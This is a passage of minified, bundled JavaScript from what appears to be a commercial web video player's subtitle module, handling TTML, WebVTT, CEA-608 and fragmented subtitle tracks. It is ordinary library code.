r=i(81361),e=i(42283),o=i(34586),u=i(91520),f=i(16368);t.parseMP4WrappedSubtitles=function(n,t){var r=n.getTimescale(),i;return void 0===r||!u.ModuleManager.has(f.ModuleName.ContainerMP4)?[]:(i=u.ModuleManager.get(f.ModuleName.ContainerMP4),function(n,t,i){var r=0,u=[];return n.forEach(function(n){var c=e.CodecStringHelper.extractCodec(t.getCodec()),o=n.duration/i,h=t.getPlaybackTime()+r,l=h+o,f;r+=o;f=s(n,c);f&&u.push({start:h,end:l,text:f})}),u}(i.getMp4Fragments(n).flatMap(function(r){return i.getTrackSamples(r.moof,r.mdat,n,t)}),n,r))}},84380:function(n,t,i){var u=this&&this.__createBinding||(Object.create?function(n,t,i,r){void 0===r&&(r=i);var u=Object.getOwnPropertyDescriptor(t,i);(!u||("get"in u?!t.__esModule:u.writable||u.configurable))&&(u={enumerable:!0,get:function(){return t[i]}});Object.defineProperty(n,r,u)}:function(n,t,i,r){void 0===r&&(r=i);n[r]=t[i]}),f=this&&this.__exportStar||function(n,t){for(var i in n)"default"===i||Object.prototype.hasOwnProperty.call(t,i)||u(t,n,i)};Object.defineProperty(t,"__esModule",{value:!0});t.SubtitleModuleDefinition=void 0;var r=i(16368),e=i(64397),o=i(70412),s=i(75225),h=i(27338),c=i(10842);t.SubtitleModuleDefinition={name:r.ModuleName.Subtitles,module:function(){return{SubtitleService:c.SubtitleService,SubtitleParserFactory:h.SubtitleParserFactory,PlayerSubtitlesApiFactory:s.PlayerSubtitlesApiFactory,HtmlTransformer:e,LanguageComparer:o}},dependencies:[r.ModuleName.EngineBitmovin]};t.default=t.SubtitleModuleDefinition;f(i(86685),t)},81253:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.parsePlainTextSubtitles=void 0;var r=i(81361),u=i(34586);t.parsePlainTextSubtitles=function(n){var t,i,e=u.TextSegmentAnalyzer.detectEncoding(n.getData()),o=r.ArrayHelper.convertBufferSourceToUTF8(n.getData(),e),f=null!==(t=n.getPlaybackTime())&&void 0!==t?t:0;return[{start:f,end:f+(null!==(i=n.getDuration())&&void 0!==i?i:0),text:o}]}},75225:function(n,t,i){var r=this&&this.__assign||function(){return r=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},r.apply(this,arguments)},u,f;Object.defineProperty(t,"__esModule",{value:!0});t.PlayerSubtitlesApiFactory=void 0;u=i(62510);f=function(){function n(){}return n.build=function(n){return new(function(){function t(){}return t.prototype.add=function(t){n.addSubtitle(t)},t.prototype.remove=function(t){n.removeSubtitle(t)},t.prototype.list=function(){return n.listSubtitles()},t.prototype.enable=function(t,i){void 0===i&&(i=!0);n.enableSubtitle(t,i)},t.prototype.disable=function(t){n.disableSubtitle(t)},t.prototype.cueEnter=function(t){n.fireEvent(u.PlayerEvent.CueEnter,r(r({},t),{type:u.PlayerEvent.CueEnter}))},t.prototype.cueExit=function(t){n.fireEvent(u.PlayerEvent.CueExit,r(r({},t),{type:u.PlayerEvent.CueExit}))},t}())},n}();t.PlayerSubtitlesApiFactory=f},27338:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.SubtitleParserFactory=void 0;var f=i(62510),u=i(91520),r=i(16368),e=i(57042),o=function(){function n(){}return n.createInstance=function(n,t){var i;return t.indexOf("<?")>-1||t.indexOf("<tt")>-1?u.ModuleManager.has(r.ModuleName.SubtitlesTTML)?i=new(u.ModuleManager.get(r.ModuleName.SubtitlesTTML).TTMLParser)(n):n.eventHandler.dispatchEvent(f.PlayerEvent.Warning,new e.PlayerModuleMissingWarning(r.ModuleName.SubtitlesTTML,"The ".concat(r.ModuleName.SubtitlesTTML," module is required to parse TTML subtitles."))):u.ModuleManager.has(r.ModuleName.SubtitlesWebVTT)?i=new(u.ModuleManager.get(r.ModuleName.SubtitlesWebVTT).WebVttParser):n.eventHandler.dispatchEvent(f.PlayerEvent.Warning,new e.PlayerModuleMissingWarning(r.ModuleName.SubtitlesWebVTT,"The ".concat(r.ModuleName.SubtitlesWebVTT," module is required to parse WebVTT subtitles."))),i},n}();t.SubtitleParserFactory=o},10842:function(n,t,i){function v(n){return n.type===r.PlayerEvent.Seek}var o=this&&this.__assign||function(){return o=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},o.apply(this,arguments)};Object.defineProperty(t,"__esModule",{value:!0});t.isSeekEvent=t.SubtitleService=void 0;var e=i(18665),s=i(60997),r=i(62510),y=i(76650),p=i(3464),c=i(79814),f=i(91520),u=i(16368),h=i(57042),w=i(29495),b=i(59272),k=i(68466),d=i(45684),g=i(14200),l=i(8679),a=i(24855),nt=function(){function n(n){var t=this;this.context=n;this.getTransmuxer=function(){return t.transmuxer};this.onDiscontinuitySequenceNumberChanged=function(){t.resetCaptionExtractor()};this.onSeek=function(n){t.resetCaptionExtractor();var i=n.position,r=v(n)?n.seekTarget:n.target;Object.keys(t.subtitleHandlers).forEach(function(n){return t.subtitleHandlers[n].onSeek(i,r)})};this.onSeeked=function(){Object.values(t.subtitleHandlers).filter(function(n){return n.isActive()}).forEach(function(n){return n.refresh()})};this.handlePeriodUpdate=function(n,i){t.context.logger.debug("Switching periods in subtitleService");var r=t.manifestService.findPeriod(n);r?(t.adjustSubtitleHandlersForNewPeriod(n,i),t.setupControllersForNextPeriod(r),t.reactivateAfterSwitched()):t.context.logger.log("Can not find period with id = ".concat(n," in Manifest. Skipping period update"))};this.reset=function(){Object.keys(t.subtitleHandlers).forEach(function(n){return t.subtitleHandlers[n].dispose()});t.subtitleHandlers={};t.cea608Extractor&&(t.cea608Extractor.dispose(),t.cea608Extractor=void 0);t.discontinuitySequenceNumberTracker&&t.discontinuitySequenceNumberTracker.reset()};this.subtitleHandlers={};this.eventHandler=n.eventHandler;this.manifestService=n.serviceManager.get(e.ServiceName.ManifestService,n.sourceContext.sourceIdentifier);this.enabledSubtitlesTracker=new w.EnabledSubtitlesTracker;this.forcedSubtitleController=new b.ForcedSubtitleController;this.eventHandler.on(r.PlayerEvent.Seek,this.onSeek);this.eventHandler.on(r.PlayerEvent.TimeShift,this.onSeek);this.eventHandler.on(r.PlayerEvent.Seeked,this.onSeeked);this.eventHandler.on(r.PlayerEvent.TimeShifted,this.onSeeked);this.eventHandler.on(r.PlayerEvent.SourceUnloaded,this.reset);this.subscribeToPeriodSwitch()}return n.prototype.shouldReactToPeriodUpdate=function(n,t){var i=n!==t,r=this.manifestService.isHlsManifest()&&!(t||!n);return i||r},n.prototype.subscribeToPeriodSwitch=function(){var n=this,t=this.context.serviceManager.get(e.ServiceName.SourceStoreService,this.context.sourceContext.sourceIdentifier);this.unsubscibeFromPeriodSwitch=p.subscribe(t)(f.ModuleManager.get(u.ModuleName.EngineBitmovin).selectors.getPlayingPeriodId,this.handlePeriodUpdate,function(t,i){return n.shouldReactToPeriodUpdate(t,i)})},n.prototype.setupControllersForNextPeriod=function(n){var t=this,i=f.ModuleManager.get(u.ModuleName.EngineBitmovin).getMimeTypeForAdaptationSet;n.AdaptationSet.forEach(function(n){var r=i(n);a.isSubtitleTrack(r,t.manifestService.isHlsManifest())&&t.setupControllerForSubtitleAdaptationSet(n,r)})},n.prototype.setupControllerForSubtitleAdaptationSet=function(n,t){if(a.isFragmentedAdaptationSet(n))return this.context.store.dispatch(y.initializeMetricsForMimeType(t,this.context.settings)),void this.addFragmentedSubtitleTrack(n,t);this.addExternalSubtitleTrack(n,t)},n.prototype.addFragmentedSubtitleTrack=function(n,t){var o=this.context.sourceContext.sourceIdentifier,i=this.context.serviceManager.get(e.ServiceName.SourceStoreService,this.context.sourceContext.sourceIdentifier),r;i&&(r={mimeType:t,codec:f.ModuleManager.get(u.ModuleName.EngineBitmovin).getCodecsFromAdaptationSet(n),isHls:this.manifestService.isHlsManifest(),manifestLoader:this.context.serviceManager.get(e.ServiceName.ManifestLoadingService,o),periodId:n._internalId.periodId,sourceStore:i},this.addFragmentSubtitle(r,n))},n.prototype.addExternalSubtitleTrack=function(n,t){if(f.ModuleManager.has(u.ModuleName.DASH)){var i=new(f.ModuleManager.get(u.ModuleName.DASH).SegmentTemplateMPDHandler)(this.context),r=this.manifestService.toSubtitleTrack(n,t);i.setAdaptationSetId(n._internalId);r.url=i.getSubtitleUrl().toString();this.addExternalSubtitle(r,n)}},n.prototype.setTransmuxer=function(n){this.transmuxer=n},n.prototype.hasSubtitle=function(n){return Boolean(this.subtitleHandlers[n])},n.prototype.enableSubtitle=function(n){var i=this,t=this.subtitleHandlers[n];return t&&!t.isActive()?t.activate().then(function(){t.refresh();i.forcedSubtitleController.deactivate()}).then(function(){return i.enabledSubtitlesTracker.addSubtitle(t.getSubtitle()),!0}).catch(function(n){return i.context.logger.debug("Error during subtitle activation",n),!1}):Promise.resolve(!1)},n.prototype.addExternalSubtitle=function(n,t){void 0===t&&(t=null);n.id||(n.id=n.url);var i=new d.ExternalFileSubtitleHandler(this.context,n,t);return this.reactivateHandler(i),n},n.prototype.reactivateHandler=function(n){var i=n.getSubtitle(),u=this.context.config.playback.isForcedSubtitle,r,t;("function"==typeof u?u(i):i.forced)?this.forcedSubtitleController.addSubtitleHandler(n):(r=!1,t=i.id,this.subtitleHandlers[t]&&(r=this.subtitleHandlers[t].isActive(),this.removeSubtitleHandler(t)),this.addSubtitleHandler(n),r&&n.activate())},n.prototype.addSubtitleHandler=function(n){var t=n.getSubtitle();this.applyLabelFunctionForSubtitle(t);this.subtitleHandlers[t.id]=n;this.signalNewSubtitle(t)},n.prototype.applyLabelFunctionForSubtitle=function(n){var i,r,t=this.context.sourceContext.source.labeling,u=this.manifestService.isHlsManifest()?null===(i=null==t?void 0:t.hls)||void 0===i?void 0:i.subtitles:null===(r=null==t?void 0:t.dash)||void 0===r?void 0:r.subtitles;"function"==typeof u&&(n.label=u(n))},n.prototype.addFragmentSubtitle=function(n,t){var i,r;return f.ModuleManager.has(u.ModuleName.EngineBitmovin)?(i=this.manifestService.toSubtitleTrack(t,n.mimeType),i.isFragmented=!0,i.url=null,r=new g.FragmentedSubtitleHandler(this.context,n,i,this.getTransmuxer),this.reactivateHandler(r),i):(this.context.logger.warn("Unable to add fragmented subtitles because MSE Module is missing"),null)},n.prototype.setupCea608CaptionExtractor=function(n){var t,i,e;return f.ModuleManager.has(u.ModuleName.SubtitlesCEA608)?f.ModuleManager.has(u.ModuleName.ContainerMP4)?(this.cea608Extractor&&this.cea608Extractor.dispose(),i=f.ModuleManager.get(u.ModuleName.ContainerMP4),e=f.ModuleManager.get(u.ModuleName.SubtitlesCEA608).Cea608Extractor,this.cea608Extractor=new e(n,i,null===(t=this.context.config.tweaks)||void 0===t?void 0:t.parse_cea_708_caption),this.cea608Extractor):(this.eventHandler.dispatchEvent(r.PlayerEvent.Warning,new h.PlayerModuleMissingWarning(u.ModuleName.ContainerMP4,"The ".concat(u.ModuleName.ContainerMP4," module is required to parse CEA captions."))),this.context.logger.log("CEA Caption parsing is disabled, because the ContainerMP4 module is not loaded"),null):(this.eventHandler.dispatchEvent(r.PlayerEvent.Warning,new h.PlayerModuleMissingWarning(u.ModuleName.SubtitlesCEA608,"The ".concat(u.ModuleName.SubtitlesCEA608," module is required to parse CEA captions."))),this.context.logger.log("CEA Caption parsing is disabled, because the Cea680 module is not loaded"),null)},n.prototype.resetCaptionExtractor=function(){this.cea608Extractor&&(this.context.logger.debug("Resetting CEA caption extractor..."),this.cea608Extractor.reset())},n.prototype.createDiscontinuitySequenceNumberTracker=function(){var n=f.ModuleManager.get(u.ModuleName.HLS);this.discontinuitySequenceNumberTracker=new n.DiscontinuitySequenceNumberTracker(c.MimeTypeHelper.isVideo);this.discontinuitySequenceNumberTracker.subscribe(this.onDiscontinuitySequenceNumberChanged)},n.prototype.trackDiscontinuitySequenceNumber=function(n){this.discontinuitySequenceNumberTracker||this.createDiscontinuitySequenceNumberTracker();this.discontinuitySequenceNumberTracker.trackSegment(n)},n.prototype.shouldDiscontinuitySequenceNumberBeTracked=function(){return this.manifestService.getManifest()&&this.manifestService.isHlsManifest()&&f.ModuleManager.has(u.ModuleName.HLS)},n.prototype.handleClosedCaptions=function(n,t,i,r,u){return void 0===u&&(u=""),!r&&c.MimeTypeHelper.isVideo(t.getMimeType())&&u.toLowerCase().includes("avc")?this.extractCaptionsFromSegment(t,n.getTimestampOffset()):(this.addClosedCaptions(i,t.getPeriodId()),Promise.resolve())},n.prototype.extractCaptionsFromSegment=function(n,t){var i=this;return this.cea608Extractor?(this.shouldDiscontinuitySequenceNumberBeTracked()&&this.trackDiscontinuitySequenceNumber(n),this.cea608Extractor.extract(n).then(function(r){(function(n,t){n.forEach(function(n){n.start-=t;n.end-=t})})(r,t);r.length>0&&(i.context.logger.insane("Extracted Closed Captions from fMP4: "+JSON.stringify(r)),i.addClosedCaptions(r,n.getPeriodId()))}).catch(function(n){var t;n instanceof h.PlayerModuleMissingWarning?(null===(t=i.cea608Extractor)||void 0===t||t.dispose(),i.cea608Extractor=void 0,i.eventHandler.dispatchEvent(r.PlayerEvent.Warning,n)):i.context.logger.debug("Error parsing CEA-608 Captions from fMP4: "+n)})):Promise.resolve()},n.prototype.addClosedCaptions=function(n,t){if(n&&Array.isArray(n)&&0!==n.length)for(var f=this.manifestService.getClosedCaptionLabels(t),e=function(n){var r=n.channel,u;i.subtitleHandlers[r]||(u=f.find(function(n){return n.id===r})||{id:r,kind:"captions",lang:"unknown",label:"Captions (".concat(n.channel,")")},i.addSubtitleHandler(new k.Cea608Handler(i.context,u)));i.subtitleHandlers[r].addCaption(n,t)},i=this,r=0,u=n;r<u.length;r++)e(u[r])},n.prototype.signalNewSubtitle=function(n){this.eventHandler.dispatchEvent(r.PlayerEvent.SubtitleAdded,{subtitle:o({},n)})},n.prototype.disableSubtitle=function(n){var t=this,i=this.subtitleHandlers[n];return i?i.deactivate().then(function(){return t.enabledSubtitlesTracker.removeSubtitle(n),0===t.getActiveSubtitles().length&&t.forcedSubtitleController.activate().catch(function(){}),!0}).catch(function(){return!1}):Promise.resolve(!1)},n.prototype.removeSubtitle=function(n){this.removeSubtitleHandler(n);this.enabledSubtitlesTracker.removeSubtitle(n)},n.prototype.getActiveSubtitles=function(){var n=this;return Object.keys(this.subtitleHandlers).filter(function(t){return n.subtitleHandlers[t].isActive()}).map(function(t){return n.subtitleHandlers[t].getSubtitle()})},n.prototype.getAvailableSubtitles=function(n){return Object.values(this.subtitleHandlers).filter(function(t){var i=t.periodId;return!i||n===i}).map(function(n){return n.getSubtitle()})},n.prototype.enableForcedSubtitle=function(n){this.forcedSubtitleController.activate(n).catch(function(){})},n.prototype.shouldRemoveSubtitleHandler=function(n,t,i){var r=n.getSubtitleType()===l.SubtitleType.FRAGMENTED&&n.periodId===i,u=n.getSubtitleType()===l.SubtitleType.EXTERNAL_FILE&&n.periodId&&n.periodId!==t;return r||u},n.prototype.adjustSubtitleHandlersForNewPeriod=function(n,t){var i=this;Object.keys(this.subtitleHandlers).forEach(function(r){var u=i.subtitleHandlers[r];i.shouldRemoveSubtitleHandler(u,n,t)&&i.removeSubtitleHandler(r)})},n.prototype.reactivateAfterSwitched=function(){var n=this;Object.keys(this.subtitleHandlers).forEach(function(t){var u,i=n.subtitleHandlers[t],f;!i.isActive()&&n.enabledSubtitlesTracker.shouldEnableSubtitle(i.getSubtitle(),n.subtitleHandlers)&&(f={subtitle:i.getSubtitle()},null===(u=n.eventHandler)||void 0===u||u.dispatchEvent(r.PlayerEvent.SubtitleEnable,f),i.activate().then(function(){var t;null===(t=n.eventHandler)||void 0===t||t.dispatchEvent(r.PlayerEvent.SubtitleEnabled,f)}))})},n.prototype.removeSubtitleHandler=function(n){if(this.subtitleHandlers[n]){var t=this.subtitleHandlers[n].getSubtitle();this.subtitleHandlers[n].dispose();delete this.subtitleHandlers[n];this.eventHandler&&this.eventHandler.dispatchEvent(r.PlayerEvent.SubtitleRemoved,{subtitle:t})}},n.prototype.clearBuffersUntil=function(n){var t=this;Object.keys(this.subtitleHandlers).forEach(function(i){return t.subtitleHandlers[i].clearBuffersUntil(n)})},n.prototype.dispose=function(){this.reset();this.enabledSubtitlesTracker=s.dispose(this.enabledSubtitlesTracker);this.forcedSubtitleController=s.dispose(this.forcedSubtitleController);this.discontinuitySequenceNumberTracker=s.dispose(this.discontinuitySequenceNumberTracker);this.transmuxer=void 0;this.manifestService=null;this.eventHandler.off(r.PlayerEvent.Seek,this.onSeek);this.eventHandler.off(r.PlayerEvent.TimeShift,this.onSeek);this.eventHandler.off(r.PlayerEvent.Seeked,this.onSeeked);this.eventHandler.off(r.PlayerEvent.TimeShifted,this.onSeeked);this.eventHandler.off(r.PlayerEvent.SourceUnloaded,this.reset);this.unsubscibeFromPeriodSwitch();this.subtitleHandlers={};this.eventHandler=null},n}();t.SubtitleService=nt;t.isSeekEvent=v},24855:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.isFragmentedAdaptationSet=t.isSubtitleTrack=void 0;var r=i(79814);t.isSubtitleTrack=function(n,t){return(r.MimeTypeHelper.isText(n)||r.MimeTypeHelper.isTtmlXml(n))&&!t||r.MimeTypeHelper.isApplication(n)};t.isFragmentedAdaptationSet=function(n){var t=[n];return n.Representation&&n.Representation.length>0&&t.push(n.Representation[0]),t.some(function(n){return n.SegmentList||n.SegmentTemplate||n.SegmentBase})}},49625:function(n,t,i){function f(n,t){return r({subtitleId:t,start:n.start,end:n.end},n.content)}var r=this&&this.__assign||function(){return r=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},r.apply(this,arguments)};Object.defineProperty(t,"__esModule",{value:!0});t.AbstractSubtitleHandler=void 0;var e=i(18665),u=i(62510),o=i(99378),s=i(33696),h=i(91520),c=i(16368),l=function(){function n(n,t,i){void 0===i&&(i=null);var r=this;this.onCueEnter=function(n){r.context.eventHandler.dispatchEvent(u.PlayerEvent.CueEnter,f(n,r.getSubtitle().id))};this.onCueExit=function(n){r.context.eventHandler&&r.context.eventHandler.dispatchEvent(u.PlayerEvent.CueExit,f(n,r.getSubtitle().id))};this.onCueUpdate=function(n){r.context.eventHandler.dispatchEvent(u.PlayerEvent.CueUpdate,f(n,r.getSubtitle().id))};this.context=n;this.subtitle=t;this.subtitle.enabled=this.subtitle.enabled||!1;this.timeline=new o.Timeline(n,{onCueEnter:this.onCueEnter,onCueExit:this.onCueExit,onCueUpdate:this.onCueUpdate});this.timeline.stopListening();this.periodId=i;this.sourceStore=n.serviceManager.get(e.ServiceName.SourceStoreService,n.sourceContext.sourceIdentifier)}return n.prototype.fireOnCueParsedEvents=function(n,t){var i=this;n&&this.context.eventHandler&&n.forEach(function(n){i.context.eventHandler.dispatchEvent(u.PlayerEvent.CueParsed,r(r({subtitleId:i.getSubtitle().id},n),{periodId:t}))})},n.prototype.isActive=function(){return this.subtitle.enabled},n.prototype.activate=function(){return this.subtitle.enabled=!0,this.timeline.startListening(),this.timeline.show(),Promise.resolve()},n.prototype.deactivate=function(){return this.subtitle.enabled=!1,this.timeline.stopListening(),this.timeline.hide(),Promise.resolve()},n.prototype.refresh=function(){this.timeline.show()},n.prototype.getSubtitle=function(){return this.subtitle},n.prototype.clearBuffersUntil=function(n){this.timeline.removeCuesUntil(n)},n.prototype.dispose=function(){this.sourceStore=null;this.deactivate();this.timeline.dispose()},n.prototype.isTsContainer=function(){var n,t=h.ModuleManager.get(c.ModuleName.EngineBitmovin),i=t.selectors,r=t.mseModuleTypes;return(null===(n=i.getContainerFormat(this.sourceStore.getState(),s.MediaType.Video))||void 0===n?void 0:n.source)===r.containerFormat.TS},n.prototype.applyVttOffset=function(n){return this.isTsContainer()?n.map(function(n){return null!=n.offset?r(r({},n),{start:n.start+n.offset,end:n.end+n.offset,updates:n.updates.map(function(t){return r(r({},t),{updateTime:t.updateTime+n.offset})})}):n}):n},n}();t.AbstractSubtitleHandler=l},68466:function(n,t,i){var r=this&&this.__extends||function(){var n=function(t,i){return n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function r(){this.constructor=t}if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");n(t,i);t.prototype=null===i?Object.create(i):(r.prototype=i.prototype,new r)}}();Object.defineProperty(t,"__esModule",{value:!0});t.Cea608Handler=void 0;var u=i(49625),f=i(8679),e=function(n){function t(t,i,r){return void 0===r&&(r=null),n.call(this,t,i,r)||this}return r(t,n),t.prototype.onSeek=function(n,t){var i=t<n,r=this.context.settings.CLEAR_BUFFERS_ON_SEEKING_BACKWARDS;i&&r&&this.clearBuffersUntil(this.context.renderer.getDuration())},t.prototype.addCaption=function(n,t){n&&(this.fireOnCueParsedEvents([n],t),this.timeline.addCues([n],0))},t.prototype.getSubtitleType=function(){return f.SubtitleType.IN_STREAM},t}(u.AbstractSubtitleHandler);t.Cea608Handler=e},45684:function(n,t,i){var r=this&&this.__extends||function(){var n=function(t,i){return n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function r(){this.constructor=t}if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");n(t,i);t.prototype=null===i?Object.create(i):(r.prototype=i.prototype,new r)}}();Object.defineProperty(t,"__esModule",{value:!0});t.ExternalFileSubtitleHandler=void 0;var u=i(63546),f=i(35148),e=i(60997),o=i(62510),s=i(88005),h=i(67345),c=i(27338),l=i(49625),a=i(8679),v=function(n){function t(i,r,u){var f=n.call(this,i,r,u&&u._internalId.periodId)||this;return f.onFileLoaded=function(n){if(f.timeline.removeCues(),null==n?void 0:n.body){f.isFileLoaded=!0;var i=f.parse(n.body.trim()),t=f.applyVttOffset(i);f.fireOnCueParsedEvents(t,null);f.timeline.addCues(t)}},u&&(r.id=u.Representation[0]._id),r.url?(f.externalFileUrl=t.enforceHTTPSForSecureOrigins(r.url.trim()),f.isFileLoaded=!1,f.subtitleLoader=new s.DefaultContentLoader(f.context,{maxRetries:f.context.settings.MAX_RETRIES,retryDelay:f.context.settings.RETRY_DELAY,requestType:h.HttpRequestType.MEDIA_SUBTITLES})):(f.context.logger.log("No url was provided for an external subtitle, nothing will be loaded."),f.isFileLoaded=!0,f.loadPromise=Promise.resolve()),f}return r(t,n),t.prototype.activate=function(){var t=this;return this.context.logger.debug("loading "+this.externalFileUrl),n.prototype.activate.call(this).then(function(){return t.loadPromise?t.loadPromise:t.isFileLoaded?Promise.resolve():(t.loadPromise=t.subtitleLoader.load(t.externalFileUrl).then(t.onFileLoaded).catch(function(n){var i,r;if(t.loadPromise=void 0,!t.isActive())return Promise.resolve();throw t.context.eventHandler&&t.context.eventHandler.dispatchEvent(o.PlayerEvent.Warning,new u.PlayerWarning(f.WarningCode.NETWORK_COULD_NOT_LOAD_SUBTITLE)),t.context.logger.debug("Could not load subtitles/captions, got HTTP status code ".concat(null!==(r=null===(i=null==n?void 0:n.status)||void 0===i?void 0:i.toString())&&void 0!==r?r:""),n),t.deactivate(),"loading failed";}),t.loadPromise)})},t.prototype.parse=function(n){return c.SubtitleParserFactory.createInstance(this.context,n).parse(n)},t.enforceHTTPSForSecureOrigins=function(n){var t=new RegExp("^(?:[a-z]+:)?//","i");return"https:"===location.protocol?n.replace(t,"//"):n},t.prototype.getSubtitleType=function(){return a.SubtitleType.EXTERNAL_FILE},t.prototype.clearBuffersUntil=function(){},t.prototype.onSeek=function(){},t.prototype.dispose=function(){n.prototype.dispose.call(this);this.subtitleLoader=e.dispose(this.subtitleLoader)},t}(l.AbstractSubtitleHandler);t.ExternalFileSubtitleHandler=v},14200:function(n,t,i){function y(n){return d.TextSegmentAnalyzer.isPlainTextPayload(n.getData())}function p(n,t){var i=r.ModuleManager.get(u.ModuleName.EngineBitmovin,!1);if(void 0!==t&&void 0!==i)return i.selectors.getContainerFormat(t,n)}function ft(n){var t,i=null!==(t=n.activeTracks)&&void 0!==t?t:{};return Object.keys(i).flatMap(function(n){var t;return null!==(t=i[n].mediaTypes)&&void 0!==t?t:[]}).filter(function(n){return n===s.MediaType.Video||n===s.MediaType.Audio})}var w=this&&this.__extends||function(){var n=function(t,i){return n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function r(){this.constructor=t}if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");n(t,i);t.prototype=null===i?Object.create(i):(r.prototype=i.prototype,new r)}}(),f=this&&this.__assign||function(){return f=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},f.apply(this,arguments)};Object.defineProperty(t,"__esModule",{value:!0});t.FragmentedSubtitleHandler=void 0;var b=i(92712),e=i(18665),o=i(62510),s=i(33696),h=i(58975),c=i(33669),l=i(3464),k=i(42283),a=i(79814),d=i(34586),v=i(70016),r=i(91520),u=i(16368),g=i(66774),nt=i(81253),tt=i(27338),it=i(49625),rt=i(8679),ut=function(n){function t(t,i,f,s){var h=n.call(this,t,f,i.periodId)||this,c;return h.onSegmentDataAvailable=function(n){var t,i=null===(t=n.getSegmentInfo())||void 0===t?void 0:t.discontinuitySequenceNumber;return function(n){var t=null==n?void 0:n.getState();return void 0!==t&&void 0!==n?Promise.race(ft(t).map(function(i){return function(n,t,i){var r=p(i,t);return void 0!==r?Promise.resolve(r):l.waitForStateChangeThen(n)(function(n){return p(i,n)},function(n){return void 0!==n})}(n,t,i)})):Promise.reject("SourceState unavailable")}(h.context.serviceManager.get(e.ServiceName.SourceStoreService,h.context.sourceContext.sourceIdentifier)).then(function(){return h.waitForTransmuxerReady(i)}).then(function(){return h.processSegment(n)})},h.onTimeUpdate=function(n){var r,i,t,u;n&&void 0!==n.time&&(i=n.time,h.clearBuffersUntil(i),t=(null===(r=h.streamTimeService)||void 0===r?void 0:r.getTimeForNextSegment(h.trackIdentifier))||i,u=t-i,isNaN(t)||u>=h.bufferSettings.getForwardTargetLevel()||h.segmentController.hasNext(t)&&(h.segmentController.getMPDHandler().resolvePendingSegmentInfoRequests(),h.segmentController.getNext(t)))},h.onSeekFromEvent=function(n){var t=null!=n.seekTarget&&n.seekTarget||n.target;h.onSeek(0,t)},h.onMpdUpdated=function(){h.segmentController.updateMpd()},h.eventHandler=t.eventHandler,h.sourceStoreService=i.sourceStore,h.streamTimeService=t.serviceManager.get(e.ServiceName.StreamTimeService),h.manifestUpdateScheduler=t.serviceManager.get(e.ServiceName.ManifestUpdateSchedulingService,t.sourceContext.sourceIdentifier),h.getTransmuxer=s,h.isHls=i.isHls,h.bufferSettings=t.bufferSettings,c=r.ModuleManager.get(u.ModuleName.EngineBitmovin).SegmentController,h.segmentController=new c(t,h.onSegmentDataAvailable,i.mimeType,i.codec,i.isHls,i.manifestLoader,i.periodId,i.sourceStore),h.segmentController.setCurrentLangObj(f),h.trackIdentifier="".concat(i.mimeType,"/").concat(f.id),h.eventHandler.on(o.PlayerEvent.Seek,h.onSeekFromEvent),h.eventHandler.on(o.PlayerEvent.TimeShift,h.onSeekFromEvent),h.subscribeToManifestChanges(),h}return w(t,n),t.prototype.subscribeToManifestChanges=function(){!this.unsubscribeFromManifestStore&&this.sourceStoreService&&(this.unsubscribeFromManifestStore=l.subscribe(this.sourceStoreService)(function(n){if(null!=n)return n.manifest},this.onMpdUpdated,function(n,t){return Boolean((null==n?void 0:n.isInitialized)&&!(null==t?void 0:t.isInitialized))}))},t.prototype.unsubscribeFromManifestChanges=function(){this.unsubscribeFromManifestStore&&(this.unsubscribeFromManifestStore(),this.unsubscribeFromManifestStore=void 0)},t.prototype.extractSubtitlesFromSegment=function(n,t){return t?nt.parsePlainTextSubtitles(n):function(n){return a.MimeTypeHelper.isApplication(n.getMimeType())&&!y(n)}(n)?g.parseMP4WrappedSubtitles(n,this.context.logger):n.getMetadata().subtitles},t.prototype.addMetadataToSegment=function(n,t){var i=n.getMetadata();i.subtitles=this.extractSubtitlesFromSegment(n,t);n.setMetadata(i)},t.prototype.waitForTransmuxerReady=function(n){var t=this.getTransmuxer();return this.isHls&&t?(void 0!==n&&this.areSubtitleDiscontinuitiesAligned()||(n=-1),t.waitForInitializationForDiscontinuity(n)):Promise.resolve()},t.prototype.getSubtitleSegmentInfoFromStore=function(n){var t,i,f=null===(t=this.context.serviceManager.get(e.ServiceName.SourceStoreService,n))||void 0===t?void 0:t.getState(),o=null===(i=this.segmentController.getCurrentAdaptationSet())||void 0===i?void 0:i.Representation[0];return o&&f?r.ModuleManager.get(u.ModuleName.EngineBitmovin).selectors.getSegmentInfos(f,o._internalId.key()):[]},t.prototype.getSegmentEntriesFromPlaylist=function(n){var t,i,r,u,f=null===(i=null===(t=this.context.serviceManager.get(e.ServiceName.SourceStoreService,n))||void 0===t?void 0:t.getState())||void 0===i?void 0:i.hls;return f&&f.playlists&&null!==(u=null===(r=f.playlists[this.getSubtitle().label])||void 0===r?void 0:r.segments)&&void 0!==u?u:[]},t.prototype.getSegmentDiscoData=function(){var n=this.context.sourceContext.sourceIdentifier;return 